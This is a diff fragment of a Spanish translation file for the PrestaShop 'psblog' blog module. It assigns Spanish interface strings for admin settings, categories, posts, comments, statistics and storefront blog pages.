+$_MODULE['<{psblog}prestashop>psblog_09530305d87f6db576910c16c353430c'] = 'Prestablog bloque destacado ajustes'; +$_MODULE['<{psblog}prestashop>psblog_05432e198227a661b6336789214990a6'] = 'Bloque últimos artículos'; +$_MODULE['<{psblog}prestashop>psblog_00d23a76e43b46dae9ec7aa9dcbebb32'] = 'Activado'; +$_MODULE['<{psblog}prestashop>psblog_b9f5c797ebbf55adccdd8539a65a0241'] = 'Desactivado'; +$_MODULE['<{psblog}prestashop>psblog_52f5e0bc3859bc5f5e25130b6c7e8881'] = 'Posición'; +$_MODULE['<{psblog}prestashop>psblog_dcf7406b25bacce811f663ebbbdf3d02'] = 'Bloque categorías'; +$_MODULE['<{psblog}prestashop>psblog_5b23aa83597cb5c9c9022f8742734e65'] = 'Bloque destacado'; +$_MODULE['<{psblog}prestashop>psblog_194071376900e85a06df8ada7d9d3412'] = 'Bloque archivos'; +$_MODULE['<{psblog}prestashop>psblog_35d0e6ef5f54ef8c8c1ada04cba24ce6'] = 'Bloque buscar'; +$_MODULE['<{psblog}prestashop>psblog_b17f3f4dcf653a5776792498a9b44d6a'] = 'Actualizar ajustes'; +$_MODULE['<{psblog}prestashop>psblog_8625e1de7be14c39b1d14dc03d822497'] = 'Utiles'; +$_MODULE['<{psblog}prestashop>psblog_e67e21b337b1b1d76943db5d9212f45e'] = 'Regenerar todas las imágenes del blog'; +$_MODULE['<{psblog}prestashop>psblog_164a02e97c71395688ebfc9c55163ae7'] = 'Útil si cambia los tamaños de imágenes'; +$_MODULE['<{psblog}prestashop>psblog_62b0078b5f664287a1bb22d6df311fc5'] = 'Regenerar Google sitemap'; +$_MODULE['<{psblog}prestashop>psblog_03a3d5c1bb27f74776df698a0a9a495e'] = 'Para declarar el blog Sitemap XML, añada esta línea al final de su archivo robots.txt'; +$_MODULE['<{psblog}prestashop>psblog_83571b715e3bf05d1afca7bf08bae438'] = 'Prestablog configuración'; +$_MODULE['<{psblog}prestashop>psblog_51510aece4fa3915c876fe1db7aa9e08'] = 'Si desea añadir artículos, usted debe ir a el menú \"Blog\"'; +$_MODULE['<{psblog}prestashop>psblog_f7a1e81918f1c549be70efac43efd7ed'] = 'Últimos artículos'; +$_MODULE['<{psblog}prestashop>psblog_86f5978d9b80124f509bdb71786e929e'] = 'Enero'; +$_MODULE['<{psblog}prestashop>psblog_659e59f062c75f81259d22786d6c44aa'] = 'Febrero'; +$_MODULE['<{psblog}prestashop>psblog_fa3e5edac607a88d8fd7ecb9d6d67424'] = 'Marzo'; +$_MODULE['<{psblog}prestashop>psblog_3fcf026bbfffb63fb24b8de9d0446949'] = 'Abril'; +$_MODULE['<{psblog}prestashop>psblog_195fbb57ffe7449796d23466085ce6d8'] = 'Mayo'; +$_MODULE['<{psblog}prestashop>psblog_688937ccaf2a2b0c45a1c9bbba09698d'] = 'Junio'; +$_MODULE['<{psblog}prestashop>psblog_1b539f6f34e8503c97f6d3421346b63c'] = 'Julio'; +$_MODULE['<{psblog}prestashop>psblog_41ba70891fb6f39327d8ccb9b1dafb84'] = 'Agosto'; +$_MODULE['<{psblog}prestashop>psblog_cc5d90569e1c8313c2b1c2aab1401174'] = 'Septiembre'; +$_MODULE['<{psblog}prestashop>psblog_eca60ae8611369fe28a02e2ab8c5d12e'] = 'Octubre'; +$_MODULE['<{psblog}prestashop>psblog_7e823b37564da492ca1629b4732289a8'] = 'noviembre'; +$_MODULE['<{psblog}prestashop>psblog_82331503174acbae012b2004f6431fa5'] = 'Diciembre'; +$_MODULE['<{psblog}prestashop>adminblogcategoriescontroller_b718adec73e04ce3ec720dd11a06a308'] = 'ID'; +$_MODULE['<{psblog}prestashop>adminblogcategoriescontroller_4d3d769b812b6faa6b76e1a8abaece2d'] = 'Activo'; +$_MODULE['<{psblog}prestashop>adminblogcategoriescontroller_bb34a159a88035cce7ef1607e7907f8f'] = 'Nombre'; +$_MODULE['<{psblog}prestashop>adminblogcategoriescontroller_30269022e9d8f51beaabb52e5d0de2b7'] = 'Superior '; +$_MODULE['<{psblog}prestashop>adminblogcategoriescontroller_4994a8ffeba4ac3140beb89e8d41f174'] = 'Idioma'; +$_MODULE['<{psblog}prestashop>adminblogcategoriescontroller_52f5e0bc3859bc5f5e25130b6c7e8881'] = 'Posición'; +$_MODULE['<{psblog}prestashop>adminblogcategoriescontroller_5dc52ca9ffdc26147075682c92a0a853'] = 'Artículos'; +$_MODULE['<{psblog}prestashop>adminblogcategoriescontroller_9ea67be453eaccf020697b4654fc021a'] = 'Guardar y permanecer'; +$_MODULE['<{psblog}prestashop>adminblogcategoriescontroller_0885f0c211f74834f0109c5abaf4cdc4'] = 'Idioma :'; +$_MODULE['<{psblog}prestashop>adminblogcategoriescontroller_4579854bbe58052c10bd0902e94a5972'] = 'Categoría Superior :'; +$_MODULE['<{psblog}prestashop>adminblogcategoriescontroller_3adbdb3ac060038aa0e6e6c138ef9873'] = 'Categoría'; +$_MODULE['<{psblog}prestashop>adminblogcategoriescontroller_afcfe6f898c9c8d8a283248af22a27f9'] = 'Nombre :'; +$_MODULE['<{psblog}prestashop>adminblogcategoriescontroller_2d9fb9f61c20b7c26618f7d9cd3237c4'] = 'Descripción :'; +$_MODULE['<{psblog}prestashop>adminblogcategoriescontroller_4284e052a0050c1d03ce2d6e975bb1c3'] = 'Se mostrará en la parte superior de la página de la categoría'; +$_MODULE['<{psblog}prestashop>adminblogcategoriescontroller_d10d924ada404af22674202df72584aa'] = ' Motores de búsqueda Meta descripción'; +$_MODULE['<{psblog}prestashop>adminblogcategoriescontroller_d08361ed0c11d4f4347a31a00eb73c5e'] = 'Separadas por ,'; +$_MODULE['<{psblog}prestashop>adminblogcategoriescontroller_2ef9671539ece086eb5c74c851a08565'] = 'Sólo letras y el signo menos (-) de caracteres están permitidos'; +$_MODULE['<{psblog}prestashop>adminblogcategoriescontroller_c9cc8cce247e49bae79f15173ce97354'] = 'Guardar'; +$_MODULE['<{psblog}prestashop>adminblogcategoriescontroller_de6385b8458ebc1879996159b7267d2b'] = 'Posición :'; +$_MODULE['<{psblog}prestashop>adminblogcategoriescontroller_ce0430dafc79841f9abba23c56ddf6dd'] = 'Activar :'; +$_MODULE['<{psblog}prestashop>adminblogcategoriescontroller_00d23a76e43b46dae9ec7aa9dcbebb32'] = 'Activado'; +$_MODULE['<{psblog}prestashop>adminblogcategoriescontroller_b9f5c797ebbf55adccdd8539a65a0241'] = 'Inactivo'; +$_MODULE['<{psblog}prestashop>adminblogcategoriescontroller_1bd33faf04b6c7e0090de4f3e5915178'] = 'Acceso Grupo :'; +$_MODULE['<{psblog}prestashop>adminblogcategoriescontroller_48b1fab1ae834270bda334e3a56528ce'] = 'Tienda'; +$_MODULE['<{psblog}prestashop>adminblogcategoriescontroller_b5a7adde1af5c87d7fd797b6245c2a39'] = 'Descripción'; +$_MODULE['<{psblog}prestashop>adminblogcategoriescontroller_03937134cedab9078be39a77ee3a48a0'] = 'Grupo'; +$_MODULE['<{psblog}prestashop>adminblogcategoriescontroller_9f82518d468b9fee614fcc92f76bb163'] = 'Tienda'; +$_MODULE['<{psblog}prestashop>adminblogcommentscontroller_d3b206d196cd6be3a2764c1fb90b200f'] = 'Eliminar'; +$_MODULE['<{psblog}prestashop>adminblogcommentscontroller_e25f0ecd41211b01c83e5fec41df4fe7'] = 'Eliminar los elementos seleccionados?'; +$_MODULE['<{psblog}prestashop>adminblogcommentscontroller_5706de961fb376d701be6e7762d8b09c'] = 'Espera'; +$_MODULE['<{psblog}prestashop>adminblogcommentscontroller_6f8063417ab31f38d864c28302f3de2f'] = 'Aceptado'; +$_MODULE['<{psblog}prestashop>adminblogcommentscontroller_b718adec73e04ce3ec720dd11a06a308'] = 'ID'; +$_MODULE['<{psblog}prestashop>adminblogcommentscontroller_4d3d769b812b6faa6b76e1a8abaece2d'] = 'Activo'; +$_MODULE['<{psblog}prestashop>adminblogcommentscontroller_03d947a2158373c3b9d74325850cb8b9'] = 'Artículo'; +$_MODULE['<{psblog}prestashop>adminblogcommentscontroller_9f82518d468b9fee614fcc92f76bb163'] = 'Tienda'; +$_MODULE['<{psblog}prestashop>adminblogcommentscontroller_263ab2eac2168d940fe76675ef8b3081'] = 'Idioma'; +$_MODULE['<{psblog}prestashop>adminblogcommentscontroller_ce26601dac0dea138b7295f02b7620a7'] = 'Cliente'; +$_MODULE['<{psblog}prestashop>adminblogcommentscontroller_0be8406951cdfda82f00f79328cf4efc'] = 'Comentario'; +$_MODULE['<{psblog}prestashop>adminblogcommentscontroller_44749712dbec183e983dcd78a7736c41'] = 'Fecha'; +$_MODULE['<{psblog}prestashop>adminblogcommentscontroller_c9cc8cce247e49bae79f15173ce97354'] = 'Guardar'; +$_MODULE['<{psblog}prestashop>adminblogcommentscontroller_a16bf6c722e10df818ce2562262f1e23'] = 'Fecha :'; +$_MODULE['<{psblog}prestashop>adminblogcommentscontroller_cd5a4a8a32f2215976a8d528b81497fa'] = 'Artículo :'; +$_MODULE['<{psblog}prestashop>adminblogcommentscontroller_1e861e067ed86126e05672e048709c86'] = 'Cliente :'; +$_MODULE['<{psblog}prestashop>adminblogcommentscontroller_41a1fc8a540129e196c922670fd7e8c1'] = 'Tienda : '; +$_MODULE['<{psblog}prestashop>adminblogcommentscontroller_8bee137c7f0aa9fbe93e6924cee1fe3f'] = 'Idioma :'; +$_MODULE['<{psblog}prestashop>adminblogcommentscontroller_3edc11259762632a5c947111bc101233'] = 'Mensaje :'; +$_MODULE['<{psblog}prestashop>adminblogcommentscontroller_ce0430dafc79841f9abba23c56ddf6dd'] = 'Activar :'; +$_MODULE['<{psblog}prestashop>adminblogpostscontroller_d3b206d196cd6be3a2764c1fb90b200f'] = 'Eliminar '; +$_MODULE['<{psblog}prestashop>adminblogpostscontroller_48a688e2c614f9afa08c207d3556c2c8'] = 'Eliminar los elementos seleccionados?'; +$_MODULE['<{psblog}prestashop>adminblogpostscontroller_b718adec73e04ce3ec720dd11a06a308'] = 'ID'; +$_MODULE['<{psblog}prestashop>adminblogpostscontroller_ec53a8c4f07baed5d8825072c89799be'] = 'Estado'; +$_MODULE['<{psblog}prestashop>adminblogpostscontroller_b78a3223503896721cca1303f776159b'] = 'Título'; +$_MODULE['<{psblog}prestashop>adminblogpostscontroller_263ab2eac2168d940fe76675ef8b3081'] = 'Idioma'; +$_MODULE['<{psblog}prestashop>adminblogpostscontroller_8413c683b4b27cc3f4dbd4c90329d8ba'] = 'Comentarios'; +$_MODULE['<{psblog}prestashop>adminblogpostscontroller_735f7bed9808abe3b3c6bb67b9634a31'] = 'Fecha de publicación'; +$_MODULE['<{psblog}prestashop>adminblogpostscontroller_7dc185556694fbc135c35e7cb33ff2ea'] = 'Comentarios en espera de moderación'; +$_MODULE['<{psblog}prestashop>adminblogpostscontroller_11162316041a099669a0ebc4ff464089'] = 'Artículos publicados'; +$_MODULE['<{psblog}prestashop>adminblogpostscontroller_400fbfc3ac6188ac3caadd5881595563'] = 'Número de artículos'; +$_MODULE['<{psblog}prestashop>adminblogpostscontroller_b04f2c8a90cfc485fc990dc8dc4ba293'] = 'Configuración del módulo'; +$_MODULE['<{psblog}prestashop>adminblogpostscontroller_f15c1cae7882448b3fb0404682e17e61'] = 'Contenido'; +$_MODULE['<{psblog}prestashop>adminblogpostscontroller_608dd608cf6d57a7acd54303a0f8c575'] = 'Idioma :'; +$_MODULE['<{psblog}prestashop>adminblogpostscontroller_1a9693b440ee61940b01583cf287cee3'] = 'Título :'; +$_MODULE['<{psblog}prestashop>adminblogpostscontroller_c7bcdbba1c8efd06cc7fa38ccf4668b3'] = 'Extracto :'; +$_MODULE['<{psblog}prestashop>adminblogpostscontroller_0de4e2683f2ed7f457be77f7d99b4829'] = 'Resumen del artículo para las listas'; +$_MODULE['<{psblog}prestashop>adminblogpostscontroller_cf09c94e58ca1723017b4248909577d7'] = 'Contenido :'; +$_MODULE['<{psblog}prestashop>adminblogpostscontroller_3a0ef7f393fdd2f83c32f3a26a89f03a'] = 'Imágenes'; +$_MODULE['<{psblog}prestashop>adminblogpostscontroller_438a77306fa43b478f9b19e31dc3fbf6'] = 'Imágenes :'; +$_MODULE['<{psblog}prestashop>adminblogpostscontroller_be53a0541a6d36f6ecb879fa2c584b08'] = 'Imágen '; +$_MODULE['<{psblog}prestashop>adminblogpostscontroller_7a1920d61156abc05a60135aefe8bc67'] = 'Defecto '; +$_MODULE['<{psblog}prestashop>adminblogpostscontroller_52f5e0bc3859bc5f5e25130b6c7e8881'] = 'Posición'; +$_MODULE['<{psblog}prestashop>adminblogpostscontroller_f2a6c498fb90ee345d997f888fce3b18'] = 'Eliminar'; +$_MODULE['<{psblog}prestashop>adminblogpostscontroller_bec9f83a46175073cf668d0ab606fa17'] = 'Seguro que quieres eliminar esta foto ?'; +$_MODULE['<{psblog}prestashop>adminblogpostscontroller_af1b98adf7f686b84cd0b443e022b7a0'] = 'Categorías'; +$_MODULE['<{psblog}prestashop>adminblogpostscontroller_bb34a159a88035cce7ef1607e7907f8f'] = 'Nombre de la categoría'; +$_MODULE['<{psblog}prestashop>adminblogpostscontroller_21c1a8d9a81377d73c37b5dfed1effec'] = 'Marque todas las casillas de las categorías del artículo'; +$_MODULE['<{psblog}prestashop>adminblogpostscontroller_f33eb15d25d957f8c1a08aa71fcbe6ae'] = 'Ninguna categoría creada'; +$_MODULE['<{psblog}prestashop>adminblogpostscontroller_38070661d5ad384d9c7d21895dc4e784'] = 'Productos relacionados'; +$_MODULE['<{psblog}prestashop>adminblogpostscontroller_3b263477a8ad622d76979befafd0119d'] = 'Empiece a escribir las primeras letras del nombre del producto, a continuación, seleccione el producto de la lista desplegable :'; +$_MODULE['<{psblog}prestashop>adminblogpostscontroller_4b6c6cda10a23d1bdc920f2e47e5f46f'] = 'Añadir un producto'; +$_MODULE['<{psblog}prestashop>adminblogpostscontroller_394efb42d8bf427587bc4333d7f461f1'] = 'Artículos relacionados'; +$_MODULE['<{psblog}prestashop>adminblogpostscontroller_ea1ac4fbdf9bd5cf3d6dda76b6e4d8df'] = 'No hay artículos'; +$_MODULE['<{psblog}prestashop>adminblogpostscontroller_2ef9671539ece086eb5c74c851a08565'] = 'Sólo letras y el signo menos (-) de caracteres están permitidos'; +$_MODULE['<{psblog}prestashop>adminblogpostscontroller_d10d924ada404af22674202df72584aa'] = ' Motores de búsqueda Meta descripción'; +$_MODULE['<{psblog}prestashop>adminblogpostscontroller_d08361ed0c11d4f4347a31a00eb73c5e'] = 'Separadas por ,'; +$_MODULE['<{psblog}prestashop>adminblogpostscontroller_e4dcf06ed98cc2aaa775aa6c2864dd82'] = 'Publicación opciones'; +$_MODULE['<{psblog}prestashop>adminblogpostscontroller_9b9d8a976b42e0bd66381797644943d5'] = 'Publicado'; +$_MODULE['<{psblog}prestashop>adminblogpostscontroller_22b9ffc76a3eb7044de3b42fc92c9793'] = 'Redactando'; +$_MODULE['<{psblog}prestashop>adminblogpostscontroller_8bf906833cc7aea8084f552217ed9c1d'] = 'Suspendido'; +$_MODULE['<{psblog}prestashop>adminblogpostscontroller_46305df6212a3c2cb0bed9985c49bd6c'] = 'Estado :'; +$_MODULE['<{psblog}prestashop>adminblogpostscontroller_00d23a76e43b46dae9ec7aa9dcbebb32'] = 'Activado'; +$_MODULE['<{psblog}prestashop>adminblogpostscontroller_b9f5c797ebbf55adccdd8539a65a0241'] = 'Desactivado'; +$_MODULE['<{psblog}prestashop>adminblogpostscontroller_06eb0cec5f1982e584fb6a19cf2df877'] = 'Permitir comentarios :'; +$_MODULE['<{psblog}prestashop>adminblogpostscontroller_7b1d4465189f9f23ca7b50cae17e5e57'] = 'Fecha de publicación :'; +$_MODULE['<{psblog}prestashop>adminblogpostscontroller_19f823c6453c2b1ffd09cb715214813d'] = 'Campos obligatorios'; +$_MODULE['<{psblog}prestashop>adminblogpostscontroller_c9cc8cce247e49bae79f15173ce97354'] = 'Guardar'; +$_MODULE['<{psblog}prestashop>adminblogpostscontroller_9ea67be453eaccf020697b4654fc021a'] = 'Guardar y permanecer'; +$_MODULE['<{psblog}prestashop>adminblogpostscontroller_be8df1f28c0abc85a0ed0c6860e5d832'] = 'Blog'; +$_MODULE['<{psblog}prestashop>adminblogpostscontroller_7dce122004969d56ae2e0245cb754d35'] = 'Editar'; +$_MODULE['<{psblog}prestashop>adminblogpostscontroller_ef61fb324d729c341ea8ab9901e23566'] = 'Añadir'; +$_MODULE['<{psblog}prestashop>adminblogpostscontroller_fff0d600f8a0b5e19e88bfb821dd1157'] = 'Imágenes'; +$_MODULE['<{psblog}prestashop>adminblogpostscontroller_12a521af593422cd508f7707662c9eb2'] = 'Tiendas'; +$_MODULE['<{psblog}prestashop>adminblogstatscontroller_7dc185556694fbc135c35e7cb33ff2ea'] = 'Comentarios en espera de moderación'; +$_MODULE['<{psblog}prestashop>adminblogstatscontroller_83a3804a122f96fd8bcd716a566de9d2'] = 'Comentarios publicados'; +$_MODULE['<{psblog}prestashop>adminblogstatscontroller_778805c320e4e4fd0ac37daa2ae9f941'] = 'Comentarios rechazadas'; +$_MODULE['<{psblog}prestashop>adminblogstatscontroller_0f2898ac15073825a5c5d88723264685'] = 'Número de comentarios'; +$_MODULE['<{psblog}prestashop>adminblogstatscontroller_9f18ee985a83967e88020e0cd4c54264'] = 'Comentarios del blog'; +$_MODULE['<{psblog}prestashop>adminblogstatscontroller_400fbfc3ac6188ac3caadd5881595563'] = 'Número de artículos'; +$_MODULE['<{psblog}prestashop>adminblogstatscontroller_11162316041a099669a0ebc4ff464089'] = 'Artículos publicados'; +$_MODULE['<{psblog}prestashop>adminblogstatscontroller_0422ae5ca6429121fc69c4eb1c643b32'] = 'Artículos popular'; +$_MODULE['<{psblog}prestashop>adminblogstatscontroller_d7e637a6e9ff116de2fa89551240a94d'] = 'Visitas'; +$_MODULE['<{psblog}prestashop>adminblogstatscontroller_10965b2740f42ad4887932c35cee26ab'] = 'Visitantes distintos'; +$_MODULE['<{psblog}prestashop>adminblogstatscontroller_490aa6e856ccf208a054389e47ce0d06'] = 'Id'; +$_MODULE['<{psblog}prestashop>adminblogstatscontroller_b2ee912b91d69b435159c7c3f6df7f5f'] = 'Número'; +$_MODULE['<{psblog}prestashop>adminblogstatscontroller_49ee3087348e8d44e1feda1917443987'] = 'Nombre'; +$_MODULE['<{psblog}prestashop>adminblogstatscontroller_b78a3223503896721cca1303f776159b'] = 'Título'; +$_MODULE['<{psblog}prestashop>adminblogstatscontroller_9fa2e5dbe284adf386e6824e6c0b22dc'] = 'Artículos más comentados'; +$_MODULE['<{psblog}prestashop>adminblogstatscontroller_3e480dfc32f25db062e28fa513003957'] = 'Categorías populares'; +$_MODULE['<{psblog}prestashop>adminblogstatscontroller_1c60d824edb285957460f14afa9844d7'] = 'Número de categorías '; +$_MODULE['<{psblog}prestashop>adminblogstatscontroller_f03d8bee350c9b567d5e7abc3d8d1c90'] = 'Categorías publicadas'; +$_MODULE['<{psblog}prestashop>adminblogstatscontroller_3cfd94e5b1e020a2b88c15f49d57886e'] = 'Blog categorías'; +$_MODULE['<{psblog}prestashop>adminblogstatscontroller_306bd97775f7be5ceb6a545866e26365'] = 'Página de configuración del blog'; +$_MODULE['<{psblog}prestashop>adminblogstatscontroller_8f468f5ac98687ecd826721e83a6b41e'] = 'Informacións'; +$_MODULE['<{psblog}prestashop>adminblogstatscontroller_47edbb9e6d6e6e874eb40c274a0e2e0f'] = 'Artículos del blog'; +$_MODULE['<{psblog}prestashop>adminblogstatscontroller_42a7b2626eae970122e01f65af2f5092'] = 'Sin datos'; +$_MODULE['<{psblog}prestashop>list_3ad8deaaa1b3906cd8b9c00d9cecd239'] = 'La página no está disponible'; +$_MODULE['<{psblog}prestashop>list_91e9d554ea8e800e32f9fe32ebb44886'] = 'Inicio'; +$_MODULE['<{psblog}prestashop>list_8cf04a9734132302f96da8e113e80ce5'] = 'Inicio'; +$_MODULE['<{psblog}prestashop>list_b9ee0997e2b855d3b3f4e41c68a83a04'] = 'Todos los artículos'; +$_MODULE['<{psblog}prestashop>list_79028e34662274cafc6d802dccf23a40'] = 'Artículos en la categoría'; +$_MODULE['<{psblog}prestashop>list_5cec8c754fc39c7ad9ccac4b752ac854'] = 'Subcategorías :'; +$_MODULE['<{psblog}prestashop>list_5dc52ca9ffdc26147075682c92a0a853'] = 'Artículos'; +$_MODULE['<{psblog}prestashop>list_7a3daef0bd6fc078a60584d40f3069b8'] = 'Resultados para'; +$_MODULE['<{psblog}prestashop>list_a5d491060952aa8ad5fdee071be752de'] = 'comentarios'; +$_MODULE['<{psblog}prestashop>list_06d4cd63bde972fc66a0aed41d2f5c51'] = 'comentario'; +$_MODULE['<{psblog}prestashop>list_0941e6250506a6c73a7a782e28a7f31c'] = 'Publicado en'; +$_MODULE['<{psblog}prestashop>list_7cce3c34a73693ef4a493b44be2b13fa'] = 'Artículos anteriores'; +$_MODULE['<{psblog}prestashop>list_8113976cdd20d04f5732dcd791726ec5'] = 'Nuevos artículos'; +$_MODULE['<{psblog}prestashop>list_e1719a3e2f3a8a49b526132c4b5a27db'] = 'No hay resultados para'; +$_MODULE['<{psblog}prestashop>list_f4fec5d2ee06e82c837c5430af47b3fc'] = 'No hay artículos en esta categoría'; +$_MODULE['<{psblog}prestashop>list_928acf0ecb11901190d32433c3c3fad4'] = 'No hay artículos'; +$_MODULE['<{psblog}prestashop>product-tabtitle_be8df1f28c0abc85a0ed0c6860e5d832'] = 'Blog'; +$_MODULE['<{psblog}prestashop>view_91e9d554ea8e800e32f9fe32ebb44886'] = 'Inicio'; +$_MODULE['<{psblog}prestashop>view_8cf04a9734132302f96da8e113e80ce5'] = 'Inicio'; +$_MODULE['<{psblog}prestashop>view_ddbc197c69b2e4a35afeeb269ed25808'] = 'Publicado el'; +$_MODULE['<{psblog}prestashop>view_0941e6250506a6c73a7a782e28a7f31c'] = 'Publicado en'; +$_MODULE['<{psblog}prestashop>view_be63279edce856d773a9744e23b3dcd4'] = 'Artículo relacionados'; +$_MODULE['<{psblog}prestashop>view_f74c67756cab96eb9d93e3c801f74e20'] = 'Productos relacionados'; +$_MODULE['<{psblog}prestashop>view_4500610015dd2557ac417aabbfc51fb6'] = 'COMENTARIOS'; +$_MODULE['<{psblog}prestashop>view_5d51a0c85c76a166c4475a6412c4582a'] = 'Comentario publicado'; +$_MODULE['<{psblog}prestashop>view_9bf66938f146811a4c3d4da64381a0b3'] = 'Comentario enviado, en espera de validación moderador'; +$_MODULE['<{psblog}prestashop>view_7626b1595096f3ec9f095d178c445b88'] = 'El comentario no se ha enviado, nombre'; +$_MODULE['<{psblog}prestashop>view_caa9a78807f82427069b510379955a02'] = 'caractères min'; +$_MODULE['<{psblog}prestashop>view_780f49ba34d552e47d39cf026ddeb269'] = 'y comentario es necesario.'; +$_MODULE['<{psblog}prestashop>view_2b2fe20a1f72a6cbb0b689ad679b904c'] = 'Este comentario ha sido ya enviado'; +$_MODULE['<{psblog}prestashop>view_7a91de1864dffb53aa28b1489eeae548'] = 'HTML no están permitidas'; +$_MODULE['<{psblog}prestashop>view_7619c333d35354825189e59ae1ac76ed'] = 'segundos requeridos entre cada comentario'; +$_MODULE['<{psblog}prestashop>view_5da618e8e4b89c66fe86e32cdafde142'] = 'de'; +$_MODULE['<{psblog}prestashop>view_0be8406951cdfda82f00f79328cf4efc'] = 'Comentario'; +$_MODULE['<{psblog}prestashop>view_08621d00a3a801b9159a11b8bbd69f89'] = 'No hay comentarios de clientes por ahora.'; +$_MODULE['<{psblog}prestashop>view_720fae7db6e6055d2b47890240bb3598'] = 'Sólo los usuarios registrados pueden comentar.'; +$_MODULE['<{psblog}prestashop>view_c3edcf2cedbd4ce230fd6d4ea8915718'] = 'Añadir un comentario'; +$_MODULE['<{psblog}prestashop>view_4e140ba723a03baa6948340bf90e2ef6'] = 'Nombre :'; +$_MODULE['<{psblog}prestashop>view_240f3031f25601fa128bd4e15f0a37de'] = 'Comentario :'; +$_MODULE['<{psblog}prestashop>view_94966d90747b97d1f0f206c98a8b1ac3'] = 'Enviar'; +$_MODULE['<{psblog}prestashop>view_c96417ab573f83e2ee5d3a5054f618e6'] = 'Este artículo no está disponible'; +$_MODULE['<{psblog}prestashop>blockarchives_3a81b1c988c7819869edfc5ebad8b444'] = 'Blog archivos'; +$_MODULE['<{psblog}prestashop>blockcategories_3cfd94e5b1e020a2b88c15f49d57886e'] = 'Blog categorías'; +$_MODULE['<{psblog}prestashop>blockposts_5e78b94e9e140ac79e9f20733ed45641'] = 'Todos los artículos'; +$_MODULE['<{psblog}prestashop>blockpostshome_b9ee0997e2b855d3b3f4e41c68a83a04'] = 'Todos los artículos'; +$_MODULE['<{psblog}prestashop>blocksearch_b75feb053926ae8719fc100f6ad2b6c2'] = 'Buscar en el Blog'; +$_MODULE['<{psblog}prestashop>blocksearch_167856a08ef829642fd68172ef919e1a'] = 'Resultado para '; +$_MODULE['<{psblog}prestashop>blocksearch_34d1f91fb2e514b8576fab1a75a89a6b'] = 'go'; + +$_MODULE['<{psblog}prestashop>adminblogcategories_b718adec73e04ce3ec720dd11a06a308'] = 'ID'; +$_MODULE['<{psblog}prestashop>adminblogcategories_4d3d769b812b6faa6b76e1a8abaece2d'] = 'Activo'; +$_MODULE['<{psblog}prestashop>adminblogcategories_bb34a159a88035cce7ef1607e7907f8f'] = 'Nombre'; +$_MODULE['<{psblog}prestashop>adminblogcategories_30269022e9d8f51beaabb52e5d0de2b7'] = 'Superior '; +$_MODULE['<{psblog}prestashop>adminblogcategories_4994a8ffeba4ac3140beb89e8d41f174'] = 'Idioma'; +$_MODULE['<{psblog}prestashop>adminblogcategories_52f5e0bc3859bc5f5e25130b6c7e8881'] = 'Posición'; +$_MODULE['<{psblog}prestashop>adminblogcategories_5dc52ca9ffdc26147075682c92a0a853'] = 'Artículos'; +$_MODULE['<{psblog}prestashop>adminblogcategories_9ea67be453eaccf020697b4654fc021a'] = 'Guardar y permanecer'; +$_MODULE['<{psblog}prestashop>adminblogcategories_0885f0c211f74834f0109c5abaf4cdc4'] = 'Idioma :'; +$_MODULE['<{psblog}prestashop>adminblogcategories_4579854bbe58052c10bd0902e94a5972'] = 'Categoría Superior :'; +$_MODULE['<{psblog}prestashop>adminblogcategories_3adbdb3ac060038aa0e6e6c138ef9873'] = 'Categoría'; +$_MODULE['<{psblog}prestashop>adminblogcategories_afcfe6f898c9c8d8a283248af22a27f9'] = 'Nombre :'; +$_MODULE['<{psblog}prestashop>adminblogcategories_2d9fb9f61c20b7c26618f7d9cd3237c4'] = 'Descripción :'; +$_MODULE['<{psblog}prestashop>adminblogcategories_4284e052a0050c1d03ce2d6e975bb1c3'] = 'Se mostrará en la parte superior de la página de la categoría'; +$_MODULE['<{psblog}prestashop>adminblogcategories_d10d924ada404af22674202df72584aa'] = ' Motores de búsqueda Meta descripción'; +$_MODULE['<{psblog}prestashop>adminblogcategories_d08361ed0c11d4f4347a31a00eb73c5e'] = 'Separadas por ,'; +$_MODULE['<{psblog}prestashop>adminblogcategories_2ef9671539ece086eb5c74c851a08565'] = 'Sólo letras y el signo menos (-) de caracteres están permitidos'; +$_MODULE['<{psblog}prestashop>adminblogcategories_c9cc8cce247e49bae79f15173ce97354'] = 'Guardar'; +$_MODULE['<{psblog}prestashop>adminblogcategories_de6385b8458ebc1879996159b7267d2b'] = 'Posición :'; +$_MODULE['<{psblog}prestashop>adminblogcategories_ce0430dafc79841f9abba23c56ddf6dd'] = 'Activar :'; +$_MODULE['<{psblog}prestashop>adminblogcategories_00d23a76e43b46dae9ec7aa9dcbebb32'] = 'Activado'; +$_MODULE['<{psblog}prestashop>adminblogcategories_b9f5c797ebbf55adccdd8539a65a0241'] = 'Inactivo'; +$_MODULE['<{psblog}prestashop>adminblogcategories_1bd33faf04b6c7e0090de4f3e5915178'] = 'Acceso Grupo :'; +$_MODULE['<{psblog}prestashop>adminblogcategories_48b1fab1ae834270bda334e3a56528ce'] = 'Tienda'; +$_MODULE['<{psblog}prestashop>adminblogcategories_b5a7adde1af5c87d7fd797b6245c2a39'] = 'Descripción'; +$_MODULE['<{psblog}prestashop>adminblogcategories_03937134cedab9078be39a77ee3a48a0'] = 'Grupo'; +$_MODULE['<{psblog}prestashop>adminblogcategories_9f82518d468b9fee614fcc92f76bb163'] = 'Tienda'; +$_MODULE['<{psblog}prestashop>adminblogcomments_d3b206d196cd6be3a2764c1fb90b200f'] = 'Eliminar'; +$_MODULE['<{psblog}prestashop>adminblogcomments_e25f0ecd41211b01c83e5fec41df4fe7'] = 'Eliminar los elementos seleccionados?'; +$_MODULE['<{psblog}prestashop>adminblogcomments_5706de961fb376d701be6e7762d8b09c'] = 'Espera'; +$_MODULE['<{psblog}prestashop>adminblogcomments_6f8063417ab31f38d864c28302f3de2f'] = 'Aceptado'; +$_MODULE['<{psblog}prestashop>adminblogcomments_b718adec73e04ce3ec720dd11a06a308'] = 'ID'; +$_MODULE['<{psblog}prestashop>adminblogcomments_4d3d769b812b6faa6b76e1a8abaece2d'] = 'Activo'; +$_MODULE['<{psblog}prestashop>adminblogcomments_03d947a2158373c3b9d74325850cb8b9'] = 'Artículo'; +$_MODULE['<{psblog}prestashop>adminblogcomments_9f82518d468b9fee614fcc92f76bb163'] = 'Tienda'; +$_MODULE['<{psblog}prestashop>adminblogcomments_263ab2eac2168d940fe76675ef8b3081'] = 'Idioma'; +$_MODULE['<{psblog}prestashop>adminblogcomments_ce26601dac0dea138b7295f02b7620a7'] = 'Cliente'; +$_MODULE['<{psblog}prestashop>adminblogcomments_0be8406951cdfda82f00f79328cf4efc'] = 'Comentario'; +$_MODULE['<{psblog}prestashop>adminblogcomments_44749712dbec183e983dcd78a7736c41'] = 'Fecha'; 